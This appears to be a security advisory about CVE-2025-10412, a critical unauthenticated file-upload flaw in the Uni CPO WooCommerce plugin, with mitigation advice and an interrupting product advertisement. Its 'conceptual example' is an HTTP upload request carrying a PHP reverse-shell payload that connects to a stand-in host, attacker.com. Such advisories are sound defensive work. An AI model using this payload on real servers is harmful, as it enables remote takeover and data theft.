Overview
Today, we are delving into an alarming security vulnerability, CVE-2025-10412, that threatens websites running on WordPress, specifically those using the WooCommerce plugin. This vulnerability lies within the Product Options and Price Calculation Formulas for WooCommerce – Uni CPO (Premium) plugin, and poses a serious risk due to its potential for remote code execution. Given the popularity of WordPress and the widespread use of WooCommerce plugin for online stores, this vulnerability could affect hundreds of thousands, if not millions, of websites globally. Its severity is further underscored by the high CVSS score of 9.8, indicating the extreme risk it poses to affected systems.
Vulnerability Summary
CVE ID: CVE-2025-10412
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Product Options and Price Calculation Formulas for WooCommerce – Uni CPO (Premium) | Up to and including 4.9.54
How the Exploit Works
The vulnerability stems from misconfigured file type validation in the ‘uni_cpo_upload_file’ function of the WooCommerce plugin. This misconfiguration allows unauthenticated attackers to upload arbitrary files to the server hosting the affected site. Since there is no proper validation of the file types uploaded, an attacker can upload executable files or scripts. This could potentially lead to remote code execution, granting the attacker the ability to execute commands on the server, compromising the system, and possibly leading to data leakage.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. An attacker could send a POST HTTP request with a malicious file to the vulnerable endpoint:
POST /uni_cpo_upload_file HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uploads a PHP file that, when executed, creates a reverse shell to the attacker’s server, thereby gaining control over the affected server.
Mitigation
The ideal mitigation for this vulnerability is to apply the vendor patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to block any attempts to exploit this vulnerability. It is also advisable to regularly update all plugins and ensure that file upload functionality is appropriately secured with proper validation checks.